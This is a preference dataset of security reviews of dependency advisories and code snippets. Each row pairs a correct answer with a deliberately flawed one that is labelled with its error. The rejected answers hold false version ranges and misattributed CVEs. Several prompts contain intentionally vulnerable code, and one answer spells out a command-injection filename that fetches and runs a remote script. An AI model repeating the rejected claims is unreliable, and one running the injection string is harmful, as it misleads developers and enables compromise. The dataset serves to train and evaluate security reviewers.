Dataset Viewer
Auto-converted to Parquet Duplicate
id
stringlengths
64
64
prompt
stringlengths
87
375
chosen
stringlengths
127
561
rejected
stringlengths
70
615
case
stringlengths
17
31
family
stringclasses
10 values
format
stringclasses
4 values
source_url
stringlengths
46
49
verdict_chosen
stringclasses
3 values
verdict_rejected
stringclasses
3 values
flaw_note
stringlengths
33
141
author
stringclasses
2 values
reviewed
bool
1 class
label_kind
stringclasses
1 value
provenance
dict
c125e71a035f7659e8c0ab0e1c9ee068cf53578c28831afb7a2a692b0453a41b
Dependabot raised GHSA-8q59-q68h-6hv4 (PyYAML arbitrary code execution) on our config service. requirements.txt pins pyyaml==5.4.1 and the loader is: with open(path) as fh: cfg = yaml.full_load(fh) The config files are written by our deploy pipeline only. Is the alert valid, and what should we do?
Verdict: Secure (for this alert). vulnerability_count: 0. GHSA-8q59-q68h-6hv4 / CVE-2020-14343 affects PyYAML before 5.4; 5.4 is the first fixed release, so the pinned 5.4.1 is outside the affected range and the alert can be dismissed as not applicable. Since the files come only from your pipeline the residual risk is ...
Verdict: Insecure. vulnerability_count: 1. GHSA-8q59-q68h-6hv4 / CVE-2020-14343 (critical) is valid: the FullLoader code-execution path was only closed in PyYAML 6.0, so 5.4.1 still allows python/object/apply tags through full_load. Upgrade to pyyaml>=6.0 and switch to safe_load; treat the alert as a true positive.
GHSA-8q59-q68h-6hv4
F2
prose
https://github.com/advisories/GHSA-8q59-q68h-6hv4
Secure
Insecure
claims the fix landed in 6.0; it landed in 5.4, so 5.4.1 is patched
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-8q59-q68h-6hv4" }
321ad33d3a324254b944ff75833b8ec91bc21b02675e97e1a9df1a6a06e0b916
Quick security review of this Flask upload handler before release. Dependencies: flask==3.0.3, pyyaml==5.3.1. @app.post('/import') def import_settings(): data = request.files['settings'].read() settings = yaml.load(data, Loader=yaml.FullLoader) return apply(settings)
- Verdict: Insecure - vulnerability_count: 1 - Issues: CVE-2020-14343 / GHSA-8q59-q68h-6hv4 (CWE-20), critical - Why: pyyaml 5.3.1 is below the fixed release 5.4, and the endpoint feeds an uploaded file straight into FullLoader, which in this version can construct arbitrary Python objects. Any user who can call /import...
- Verdict: Needs changes - vulnerability_count: 0 - Issues: none confirmed - Why: YAML parsing can be risky in some configurations, and older PyYAML releases may have had loader issues, but whether this endpoint is actually exploitable depends on deployment details we cannot see. - Fix: run a dynamic scan and consult t...
GHSA-8q59-q68h-6hv4
F9
bullets
https://github.com/advisories/GHSA-8q59-q68h-6hv4
Insecure
Needs changes
refuses to commit although the version is in range and input is attacker-controlled
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-8q59-q68h-6hv4" }
b84babcc440d9404be7550c1a7e7b1180ed4014dffc0da1eb8b9720acd7cb6f7
Review this snippet from a billing worker (requests==2.31.0): s = requests.Session() # internal health endpoint uses a self-signed cert s.get('https://billing.internal.example/health', verify=False) # later, same session resp = s.post('https://billing.internal.example/charge', json=payload) The second call uses defau...
Verdict: Needs changes. vulnerability_count: 1. No: on requests before 2.32.0 (CVE-2024-35195 / GHSA-9wx4-h78v-vm56, moderate, CWE-670), once the first request in a Session to a host is sent with verify=False, later requests to that same host reuse the pooled connection and keep skipping certificate checks even though ...
Verdict: Secure. vulnerability_count: 0. The verify=False flag is scoped to the single health-check call; requests evaluates verify per request, so the later POST to /charge uses the default (True) and validates the certificate normally. Disabling verification on an internal health probe is acceptable when the endpoint...
GHSA-9wx4-h78v-vm56
F4
prose
https://github.com/advisories/GHSA-9wx4-h78v-vm56
Needs changes
Secure
treats the later default-verify call as safe; on requests<2.32.0 the pooled connection keeps verify=False for the same host
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-9wx4-h78v-vm56" }
b36e1a8c41b1d62db1875d546544648749c56a2240783567e3320d1c10d61092
Our scraper runs behind an authenticated corporate proxy (HTTPS_PROXY=http://user:pass@proxy.corp:3128) and follows redirects to third-party HTTPS sites. Pinned: requests==2.28.2. Any known issue with that combination? Answer in the SECURITY_REVIEW JSON shape.
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CVE-2023-32681 / GHSA-j8r2-6x86-q33q (CWE-200, moderate)"], "summary": "requests 2.3.0 up to but not including 2.31.0 can forward the Proxy-Authorization header to the destination server when following an HTTPS redirect, so third-party sites may receive...
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "The Proxy-Authorization leak (CVE-2023-32681) only affected requests releases before 2.3.0, which predate proxy header stripping. 2.28.2 strips proxy credentials on every redirect, so this configuration is fine; keep the proxy URL in an environme...
GHSA-j8r2-6x86-q33q
F2
json
https://github.com/advisories/GHSA-j8r2-6x86-q33q
Needs changes
Secure
says the leak only affects requests<2.3.0; actual range is 2.3.0 to <2.31.0, so 2.28.2 is affected
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-j8r2-6x86-q33q" }
05977905acd92a210462ad1fb77e8afa9b9031b76470c84761b8e4db07aa4598
Security review request: our Flask 2.2.3 app sits behind a CDN that caches responses which do not send Cache-Control: private. We set SESSION_PERMANENT=True and refresh the session on each request. Login pages are served from the same app. Concerns?
- Verdict: Needs changes - vulnerability_count: 1 - Issues: CVE-2023-30861 / GHSA-m2qf-hxjv-5gpq (CWE-539, high) - Flask before 2.2.5 (and 2.3.0-2.3.1) can omit Vary: Cookie when a permanent session is refreshed without being otherwise accessed. With a caching CDN in front, a response carrying one user's Set-Cookie can...
- Verdict: Secure - vulnerability_count: 0 - Issues: none - Flask signs session cookies with SECRET_KEY, so a cookie served from a cache cannot be tampered with or reused by another client. - CDN caching only affects static assets in practice; dynamic pages with Set-Cookie are never cached by mainstream CDNs. - Permane...
GHSA-m2qf-hxjv-5gpq
F4
bullets
https://github.com/advisories/GHSA-m2qf-hxjv-5gpq
Needs changes
Secure
dismisses the CDN context that triggers the advisory; flask 2.2.3 is in range (<2.2.5)
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-m2qf-hxjv-5gpq" }
f701bcef5504cb5f7ee2231f1bb0c75a43a4f8852f1c60e2d4621a1904084b2c
We render email bodies with _.template(templateString)(data). The template strings are authored by our marketing admins in a CMS. package-lock.json shows lodash 4.17.21. Is the lodash template command-injection advisory still a problem for us?
Verdict: Secure (for that advisory). vulnerability_count: 0. The command-injection issue in _.template is CVE-2021-23337 / GHSA-35jh-r3h4-6jhm (high, CWE-94), which affects lodash before 4.17.21; 4.17.21 is the fixed version, so the lockfile is outside the range. Note that templates still execute JavaScript by design, ...
Verdict: Needs changes. vulnerability_count: 1. CVE-2021-23337 (high) still applies: the 4.17.21 release only patched the variable option path partially, and the full fix shipped in 4.17.22, so the lockfile remains vulnerable to command injection through crafted template strings. Bump lodash to 4.17.22 or later, or mig...
GHSA-35jh-r3h4-6jhm
F2
prose
https://github.com/advisories/GHSA-35jh-r3h4-6jhm
Secure
Needs changes
claims 4.17.21 is still affected; 4.17.21 is the fixed release
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm" }
3c0ba1151fd19a9cca07a68cd384c8d6b33a2331c1b9de65a7fd195adbe59d8c
We merge user-supplied JSON into config objects with _.zipObjectDeep(paths, values), where paths come straight from the request body. lodash version in the lockfile: 4.17.15. Which advisory applies and what is the fix version?
Verdict: Insecure. vulnerability_count: 1. Issue: CVE-2020-8203 / GHSA-p6mc-m468-83gw, prototype pollution in zipObjectDeep (CWE-1321, high). It affects lodash 3.7.0 up to but not including 4.17.19, so 4.17.15 is affected, and attacker-controlled paths such as __proto__.isAdmin can pollute Object.prototype for the whol...
Verdict: Insecure. vulnerability_count: 1. Issue: CVE-2020-28471, prototype pollution in lodash zipObjectDeep (CWE-1321, high). Versions before 4.17.16 are affected, so 4.17.15 is vulnerable to __proto__ path injection from the request body. Fix: upgrade to lodash 4.17.16, which added the key filter, and reject __proto...
GHSA-p6mc-m468-83gw
F1
prose
https://github.com/advisories/GHSA-p6mc-m468-83gw
Insecure
Insecure
right bug, wrong id: CVE-2020-28471 is a real advisory for properties-reader, not lodash (the lodash one is CVE-2020-8203); wrong fix version
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-p6mc-m468-83gw" }
dbac9a728dfd6892543121fc6cf1a34d8d7b259f40b896b17f528d746e0dee70
npm audit reports minimist 1.2.5 (critical, prototype pollution). It is pulled in only by mkdirp via a devDependency used in our build scripts; the production Docker image runs npm ci --omit=dev. The app itself never parses argv. Should this block the release?
Verdict: Secure (for production). vulnerability_count: 0 in the shipped image. The finding is CVE-2021-44906 / GHSA-xvch-5gv4-984h (CWE-1321), which does affect minimist 1.2.5 (fixed in 1.2.6). But exploitation needs attacker-controlled arguments passed to minimist, and here it only parses arguments written by your own...
Verdict: Insecure. vulnerability_count: 1. CVE-2021-44906 / GHSA-xvch-5gv4-984h is rated critical (CWE-1321) and minimist 1.2.5 is inside the affected range, so the build is vulnerable to prototype pollution. Critical advisories should block a release regardless of where the dependency sits in the tree. Upgrade minimis...
GHSA-xvch-5gv4-984h
F4
mixed
https://github.com/advisories/GHSA-xvch-5gv4-984h
Secure
Insecure
ignores that the vulnerable package is a build-time devDependency with no attacker-controlled argv
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-xvch-5gv4-984h" }
afc0e0c296ea414365802c758683246c1fd9dade6136cf0cb60dd12f94fc1ee0
A legacy Java service logs request headers with a pattern layout that uses Thread Context lookups (${ctx:userAgent}). It was upgraded to log4j-core 2.15.0 in December 2021. Is it still exposed to the Log4Shell family?
Verdict: Insecure. vulnerability_count: 1. 2.15.0 fixes CVE-2021-44228 (affected 2.13.0 up to 2.15.0), but the fix was incomplete: CVE-2021-45046 / GHSA-7rjr-3q55-vv33 (critical) affects 2.13.0 up to but not including 2.16.0, and is exploitable precisely when a pattern layout uses Context Lookups such as ${ctx:...} ove...
Verdict: Secure. vulnerability_count: 0. log4j-core 2.15.0 is the release that fixed Log4Shell (CVE-2021-44228 / GHSA-jfh8-c2jp-5v3q): it disables JNDI lookups by default and limits LDAP to localhost. Because the service runs 2.15.0, attacker-supplied headers can no longer trigger remote lookups, and the ctx pattern si...
GHSA-jfh8-c2jp-5v3q
F2
prose
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
Insecure
Secure
believes 2.15.0 closed Log4Shell completely; CVE-2021-45046 still affects 2.15.0
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-jfh8-c2jp-5v3q" }
d29bd8e46cd29cf36713842df18abe7a8f2b3cf5ea04852cc04e6fcbb55c7bed
Inventory scan of a vendor appliance shows log4j-core-2.14.1.jar on the classpath of its public-facing login service, which logs failed usernames. Classify the risk for our weekly vulnerability report.
- Verdict: Insecure - vulnerability_count: 1 - Issue: CVE-2021-44228 / GHSA-jfh8-c2jp-5v3q (Log4Shell), critical; CWE-917 / CWE-502 - 2.14.1 is in the affected range (2.13.0 to before 2.15.0). Logging attacker-chosen usernames on an internet-facing login is the classic trigger: a ${jndi:ldap://...} string can lead to u...
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CVE-2021-44228 / GHSA-jfh8-c2jp-5v3q, low severity; CWE-532 (sensitive data in log files) - The service writes failed usernames to its logs, which may expose personal data to anyone with log access. - Report as low priority; schedule an upgrade with the vendor'...
GHSA-jfh8-c2jp-5v3q
F8
bullets
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
Insecure
Needs changes
right advisory but calls a critical unauthenticated RCE a low-severity info leak
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-jfh8-c2jp-5v3q" }
7ad27fc0441d6e21eb6dcf916923831ec6c6376f59c77e9a96093779cf360008
Front-end review, axios 1.5.1: const api = axios.create({ baseURL: '/api', withCredentials: true, timeout: 0 }); // also used for third-party calls: await api.get('https://cdn-metrics.partner.example/beacon'); The app relies on the XSRF-TOKEN cookie for CSRF protection. Return SECURITY_REVIEW JSON.
{"verdict": "Insecure", "vulnerability_count": 2, "issues": ["CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx (CWE-352, moderate)", "CWE-400: timeout 0 (no request timeout)"], "summary": "axios 1.0.0 to before 1.6.0 sends the X-XSRF-TOKEN header (read from the XSRF-TOKEN cookie) on every request, including cross-origin ones, so t...
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-400: timeout 0 (no request timeout)"], "summary": "timeout: 0 disables the request timeout, so a slow upstream can hold connections open and exhaust browser sockets. Set a finite timeout such as 10000 ms. withCredentials only attaches cookies to sam...
GHSA-wf5p-g6vw-rhxx
F3
json
https://github.com/advisories/GHSA-wf5p-g6vw-rhxx
Insecure
Needs changes
catches only the cosmetic issue and misses the axios XSRF-TOKEN leak that the config enables
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-wf5p-g6vw-rhxx" }
dbc23d9264f690ff5f8ace873677ff104f71f96a49ba2a9a814fac5205cf1653
Scanner says our image is exposed to the urllib3 Cookie-header-on-redirect bug. pip freeze shows urllib3==1.26.18 (we are stuck on 1.26.x because of botocore). Is that a true positive?
Verdict: Secure (false positive for that advisory). vulnerability_count: 0. The Cookie-header leak on cross-origin redirects is CVE-2023-43804 / GHSA-v845-jxx5-vc9f (CWE-200). On the 1.x line it affects versions before 1.26.17, and on 2.x it affects 2.0.0 up to 2.0.6. 1.26.18 is after the 1.26.17 fix, so the finding do...
Verdict: Needs changes. vulnerability_count: 1. CVE-2023-43804 / GHSA-v845-jxx5-vc9f (high) is valid here: the Cookie stripping fix was only released on the 2.x branch (2.0.6), and the 1.26.x line never received a backport. Staying on 1.26.18 for botocore keeps the leak; strip Cookie manually before following redirects...
GHSA-v845-jxx5-vc9f
F2
prose
https://github.com/advisories/GHSA-v845-jxx5-vc9f
Secure
Needs changes
flags urllib3 1.26.18 although the 1.x fix landed in 1.26.17
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-v845-jxx5-vc9f" }
e13be06d0c259c8db139a4f186d18e818af1288da54fcbc2fc2c2f3c15c3e90a
Template code (Jinja2 3.1.2): <div {{ user_attrs|xmlattr }}> user_attrs is a dict built from query parameters, keys included. What is the issue and which upgrade fixes it?
Verdict: Insecure. vulnerability_count: 1. The xmlattr filter on Jinja2 3.1.2 accepts keys containing spaces, so a user-chosen key can inject extra attributes such as onmouseover=... (CVE-2024-22195 / GHSA-h5c8-rqwp-cp95, CWE-79). 3.1.3 rejected spaces but the fix was incomplete: keys with /, >, or = still inject (CVE-...
Verdict: Needs changes. vulnerability_count: 1. The xmlattr filter on Jinja2 3.1.2 accepts keys containing spaces, so a user-chosen key can inject event-handler attributes (CVE-2024-22195 / GHSA-h5c8-rqwp-cp95, CWE-79). The maintainers fixed this in 3.1.3 by rejecting keys that contain whitespace. Upgrade to jinja2==3....
GHSA-h5c8-rqwp-cp95
F10
prose
https://github.com/advisories/GHSA-h5c8-rqwp-cp95
Insecure
Needs changes
recommends upgrading to 3.1.3, which only fixed the space case; the follow-up CVE-2024-34064 needs 3.1.4
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-h5c8-rqwp-cp95" }
8fd332bc30c2d3738f7aa6663665d45c4a429fb73fa55d28804df9637d72651c
Image service, Pillow 10.0.1. A 'custom filter' feature lets users submit an expression and named parameters: from PIL import ImageMath out = ImageMath.eval(req['expr'], **{'a': img, **req['params']}) We already block __ in expr. Safe to ship?
- Verdict: Insecure - vulnerability_count: 1 - Issue: CVE-2023-50447 / GHSA-3f63-hfp8-52jq (CWE-94/95), critical - Pillow before 10.2.0 lets the keys of the environment argument to ImageMath.eval reach the evaluator, so attacker-chosen parameter names can execute arbitrary code; filtering __ in expr does not cover the ...
- Verdict: Secure - vulnerability_count: 0 - Issue: none - ImageMath.eval runs expressions in a restricted namespace that only exposes image operators, and blocking __ in the expression prevents access to builtins and dunder attributes. - Parameters are passed as plain values, so they cannot introduce code. - Safe to s...
GHSA-3f63-hfp8-52jq
F5
bullets
https://github.com/advisories/GHSA-3f63-hfp8-52jq
Insecure
Secure
confidently clears ImageMath.eval with a user-controlled environment on Pillow<10.2.0
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-3f63-hfp8-52jq" }
1900fc807478c5a25b7bb1cad17284707bbd8a8073e4d881ed895a65d9b05806
Express 4.18.2 route: app.get('/out', (req, res) => { const target = req.query.next; if (target.startsWith('/')) return res.redirect(target); res.redirect('/'); }); Return SECURITY_REVIEW JSON.
{"verdict": "Needs changes", "vulnerability_count": 2, "issues": ["CWE-601: open redirect, startsWith('/') accepts protocol-relative //evil.example", "CVE-2024-29041 / GHSA-rv95-896h-c2vc (moderate): express <4.19.2 open redirect with malformed URLs in res.location/res.redirect"], "summary": "A next value of //evil.exa...
{"verdict": "Insecure", "vulnerability_count": 0, "issues": ["CWE-601: open redirect via protocol-relative //evil.example", "CVE-2024-29041 / GHSA-rv95-896h-c2vc: express <4.19.2 malformed URL redirect"], "summary": "The startsWith('/') check lets //evil.example through, and Express 4.18.2 has the malformed-URL redirec...
GHSA-rv95-896h-c2vc
F7
json
https://github.com/advisories/GHSA-rv95-896h-c2vc
Needs changes
Insecure
fields contradict: two issues listed but count 0, verdict Insecure for a moderate open redirect
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-rv95-896h-c2vc" }
c923dc466c82f98f5c032414b4ff6f565bf72403c79aaadf5059cb6b19b4ca28
semver 7.5.1 is flagged for ReDoS. Our only usage is in a CLI that checks the local Node version at startup: const ok = semver.satisfies(process.versions.node, '>=18.17.0 <23'); No user input ever reaches semver. Do we need an emergency patch?
Verdict: Secure (not exploitable here). vulnerability_count: 0. The advisory is CVE-2022-25883 / GHSA-c2qf-rxjj-qqgw (CWE-1333): new Range() in semver 7.0.0 to before 7.5.2 can backtrack catastrophically on crafted range strings. Your only range is a hard-coded literal and the version comes from the runtime, so no atta...
Verdict: Insecure. vulnerability_count: 1. CVE-2022-25883 / GHSA-c2qf-rxjj-qqgw is a high-severity ReDoS in semver 7.0.0 to before 7.5.2, and 7.5.1 is in range. satisfies() builds a Range internally, so every call runs the vulnerable regular expression and the CLI can be hung. Treat it as urgent: upgrade semver to 7.5....
GHSA-c2qf-rxjj-qqgw
F4
prose
https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
Secure
Insecure
ignores that the ranges are hard-coded constants, so the ReDoS input is not attacker-controlled
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-c2qf-rxjj-qqgw" }
a78f83addedf4c9fd1f8ba51d3148ab52f7ad8d4f1d255b580598c8894fda29f
Staging deploy of a Flask app (werkzeug==2.3.7). Our engineers reach it from their laptops over the office VPN: if __name__ == '__main__': app.run(host='0.0.0.0', port=8080, debug=True) Responses also lack an X-Content-Type-Options header. Review please.
- Verdict: Insecure - vulnerability_count: 2 - Issues: CVE-2024-34069 / GHSA-2g68-c3qc-8985 (high); CWE-489 (debug mode exposed); missing X-Content-Type-Options (low) - debug=True on 0.0.0.0 exposes the Werkzeug interactive debugger, which runs arbitrary Python. Werkzeug before 3.0.3 also lets a malicious site the engi...
- Verdict: Needs changes - vulnerability_count: 1 - Issues: missing X-Content-Type-Options (CWE-693, low) - Without nosniff, browsers may MIME-sniff responses and render uploaded files as HTML. - debug=True is fine on staging because the Werkzeug debugger is protected by a PIN and the host is only reachable over VPN. -...
GHSA-2g68-c3qc-8985
F3
bullets
https://github.com/advisories/GHSA-2g68-c3qc-8985
Insecure
Needs changes
reports a minor header issue and misses the debugger enabled in a reachable deployment
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-2g68-c3qc-8985" }
a4093e05237538dea10a25f0ccdfffad213956d33c91bcefc0ecf298bd12dd80
Our Node 16 webhook relay uses node-fetch 2.6.1 to call customer URLs with our Authorization: Bearer header and follows redirects by default. Which upgrade fixes the credential-forwarding issue?
Verdict: Insecure. vulnerability_count: 1. node-fetch before 2.6.7 (and 3.0.0 to 3.1.0) forwards sensitive headers such as Authorization and Cookie when following a redirect to a different host (CVE-2022-0235 / GHSA-r683-j2x4-v87g, high). A customer URL that redirects elsewhere hands your bearer token to that third par...
Verdict: Insecure. vulnerability_count: 1. node-fetch 2.6.1 forwards sensitive headers such as Authorization and Cookie when following a redirect to a different host (CVE-2022-0235 / GHSA-r683-j2x4-v87g, high). A customer URL that redirects elsewhere hands your bearer token to that third party. Upgrade to node-fetch 2....
GHSA-r683-j2x4-v87g
F10
prose
https://github.com/advisories/GHSA-r683-j2x4-v87g
Insecure
Insecure
proposes an upgrade target that is still inside the affected range (2.6.6 < 2.6.7)
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-r683-j2x4-v87g" }
01f86774b05c681544602a6f73027cebc3b73e8222bee70c211861bc3c8829f5
Public WebSocket gateway, Node 18, ws@7.5.9 (we cannot move to ws 8 yet). The upgrade request headers come straight from the internet. Any known DoS advisory? Reply as SECURITY_REVIEW JSON.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CVE-2024-37890 / GHSA-3h5v-q93c-6h6q (high)"], "summary": "A request with more headers than server.maxHeadersCount can crash a ws server (NULL dereference, CWE-476). The fix was backported: ws 7.x is affected before 7.5.10, so 7.5.9 is vulnerable on an inter...
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "The many-headers crash (CVE-2024-37890) was introduced in the ws 8 rewrite of the upgrade handler and only affects 8.0.0 to 8.17.0. The 7.x branch uses the older parser and is not affected, so ws@7.5.9 is fine for an internet-facing gateway; keep...
GHSA-3h5v-q93c-6h6q
F2
json
https://github.com/advisories/GHSA-3h5v-q93c-6h6q
Insecure
Secure
says only ws 8.x is affected; 7.0.0 to <7.5.10 is also affected, so 7.5.9 is vulnerable
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-3h5v-q93c-6h6q" }
d9bb1dd44690c16803dd1f5777a87893eb42fad71075fa2c47242c73d760ed12
Inherited Java app: Spring Boot 2.6.3 (spring-webmvc 5.3.15), JDK 11, packaged as a WAR and deployed on Tomcat 9. Controllers bind form posts to POJOs with @ModelAttribute. A colleague says Spring4Shell only hits executable JARs. Who is right?
Verdict: Insecure. vulnerability_count: 1. Your colleague has it backwards. CVE-2022-22965 / GHSA-36p3-wjmg-h94x (Spring4Shell, critical) affects spring-beans/webmvc 5.3.0 to before 5.3.18 on JDK 9+, and the publicly documented exploit needs exactly a WAR on Tomcat with data binding to POJOs. Spring Boot executable JAR...
Verdict: Secure. vulnerability_count: 0. Your colleague is right. CVE-2022-22965 / GHSA-36p3-wjmg-h94x (critical) relies on the class loader of Spring Boot's embedded Tomcat in an executable JAR; standalone Tomcat isolates web application class loaders, so a WAR deployment does not expose the vulnerable property path. ...
GHSA-36p3-wjmg-h94x
F4
prose
https://github.com/advisories/GHSA-36p3-wjmg-h94x
Insecure
Secure
claims WAR on Tomcat is the safe deployment; it is the documented exploitable one
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-36p3-wjmg-h94x" }
324f5ba9ce43075d5c10e3055ada17b715e92b021686166df4a24319ca49b1f6
Audit question: our API verifies tokens with jsonwebtoken 9.0.2: jwt.verify(token, process.env.JWT_PUBLIC_KEY, { algorithms: ['RS256'] }) The key comes from our secret manager, never from the request. Is there a live RCE advisory against this usage?
- Verdict: Secure (for the code shown) - vulnerability_count: 0 - The RCE-style report people cite for jwt.verify, CVE-2022-23529 / GHSA-27h2-hvpr-p74q, was withdrawn by GitHub in January 2023 because it required the attacker to control the secretOrPublicKey argument, which is not a realistic threat model. - Your code ...
- Verdict: Insecure - vulnerability_count: 1 - Issue: CVE-2022-23529 / GHSA-27h2-hvpr-p74q, critical remote code execution in jwt.verify (CWE-20) - A crafted token can make jwt.verify execute attacker code during key parsing, and the advisory lists all versions before 9.0.0 plus the 9.0.x line as affected. - Even with ...
GHSA-27h2-hvpr-p74q
F1
bullets
https://github.com/advisories/GHSA-27h2-hvpr-p74q
Secure
Insecure
cites a withdrawn advisory as a live critical RCE in jwt.verify
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-27h2-hvpr-p74q" }
6be6b5ccf8a2247f7f8e717ecbdb6b7ec81be3e2b4eb49205dd82cc96da55336
Review for injection (Python, psycopg2): def get_orders(conn, customer_id, status): with conn.cursor() as cur: cur.execute( "SELECT id, total FROM orders WHERE customer_id = %s AND status = %s", (customer_id, status), ) return cur.fetchall()
Verdict: Secure. vulnerability_count: 0. Both values are passed as query parameters in the second argument to execute(), so psycopg2 sends them separately from the SQL text and they cannot change the statement. The %s markers are driver placeholders, not Python string formatting. No SQL injection (CWE-89) here; just ma...
Verdict: Insecure. vulnerability_count: 1. Issue: CWE-89 SQL injection, high. The query embeds %s format markers, which is the classic Python string-formatting pattern for injection: customer_id and status are interpolated into the SQL text, so a status value like ' OR '1'='1 returns every order in the table. Replace t...
code-sqli-param-psycopg
F6
prose
https://cwe.mitre.org/data/definitions/89.html
Secure
Insecure
flags a parameterised psycopg2 query as SQL injection
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/89.html" }
728effe547cac342b06250183946d63fc702dec3ea201c79905a15d6b9d31469
Password-reset token generation, Python 3.11: import secrets def new_reset_token(): return secrets.token_urlsafe(32) Tokens are stored hashed and expire after 30 minutes. Any crypto weakness?
- Verdict: Secure - vulnerability_count: 0 - secrets.token_urlsafe(32) draws 32 bytes (256 bits) from the operating system CSPRNG, which is what the secrets module exists for, so the tokens are unguessable (no CWE-338 issue). - Hashing at rest and a 30-minute expiry are the right companions. - Optional: make tokens sin...
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CWE-338, use of a cryptographically weak PRNG - token_urlsafe is a convenience wrapper that relies on Python's default Mersenne Twister generator, which is predictable once enough outputs are observed; an attacker who requests many resets could reconstruct the ...
code-rng-secrets-token
F6
bullets
https://cwe.mitre.org/data/definitions/338.html
Secure
Needs changes
calls the secrets module a weak PRNG and recommends a worse alternative
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/338.html" }
e2f7700a7f88b765d19dabd667567a3eeb98a6103afef42d47d7efc1d1fbec37
Our linter flags this as command injection. It runs once at startup to label build artefacts: import subprocess GIT_SHA = subprocess.run( "git rev-parse --short HEAD", shell=True, capture_output=True, text=True ).stdout.strip() Is the finding real?
Verdict: Secure (false positive). vulnerability_count: 0. shell=True is only dangerous when untrusted data reaches the command string (CWE-78). Here the command is a constant literal with no interpolation, so there is nothing an attacker can inject. You can silence the linter by passing a list, ["git", "rev-parse", "--...
Verdict: Insecure. vulnerability_count: 1. Issue: CWE-78 OS command injection, high. Any call with shell=True hands the string to /bin/sh, so shell metacharacters such as ; or $( ) are interpreted and an attacker can append arbitrary commands. Because this runs at startup with the service's privileges, a successful inj...
code-cmd-shell-literal
F4
prose
https://cwe.mitre.org/data/definitions/78.html
Secure
Insecure
pattern-matches shell=True without noticing the command is a constant
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/78.html" }
ec06b9ff7374d2bf2bbdd971adb5925e146273e3f1e0e35a7409856f53903d69
Thumbnail endpoint: @app.post('/thumb') def thumb(): name = request.form['name'] # original filename from the client path = os.path.join(UPLOADS, name) request.files['img'].save(path) subprocess.run(f"convert {path} -resize 200x200 {path}.png", shell=True, check=True) return send_file(path...
- Verdict: Insecure - vulnerability_count: 2 - Issues: CWE-78 OS command injection (critical); CWE-22 path traversal (high) - name is attacker-controlled and lands unquoted in a shell=True string, so a filename like a.jpg;curl evil.sh|sh runs commands on the server. - The same name joined onto UPLOADS lets ../ write ou...
- Verdict: Secure - vulnerability_count: 0 - The command only operates on files inside the UPLOADS directory, and os.path.join normalises the path, so the arguments passed to convert are always local file paths controlled by the server. - check=True makes the request fail if convert errors, which prevents partial outpu...
code-cmd-upload-convert
F5
bullets
https://cwe.mitre.org/data/definitions/78.html
Insecure
Secure
confidently clears a shell=True call that interpolates a user-supplied filename
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/78.html" }
ab51748bc4f6014d632fa6b6e88892a290b5c05ccd0238462dbc8a7d4e338afe
Pre-merge review of settings.py for our public GitHub repo: DEBUG = False AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE" AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" S3_BUCKET = "acme-invoices" PROPAGATE_EXCEPTIONS = True
Verdict: Insecure. vulnerability_count: 2. Critical: CWE-798, hard-coded AWS credentials committed to a public repository. Treat a real key in this position as compromised the moment it is pushed: revoke and rotate it, scrub history, and load credentials from the environment or an IAM role instead. Lower: PROPAGATE_EXC...
Verdict: Needs changes. vulnerability_count: 1. Issue: CWE-209, information exposure through error messages. PROPAGATE_EXCEPTIONS = True makes Flask re-raise exceptions instead of handling them, so depending on the WSGI server a client can receive a full stack trace including file paths, library versions and fragments ...
code-secret-aws-flask
F3
prose
https://cwe.mitre.org/data/definitions/798.html
Insecure
Needs changes
reports the error-page leak but misses the hard-coded cloud credentials
claude-draft
false
preference_pair
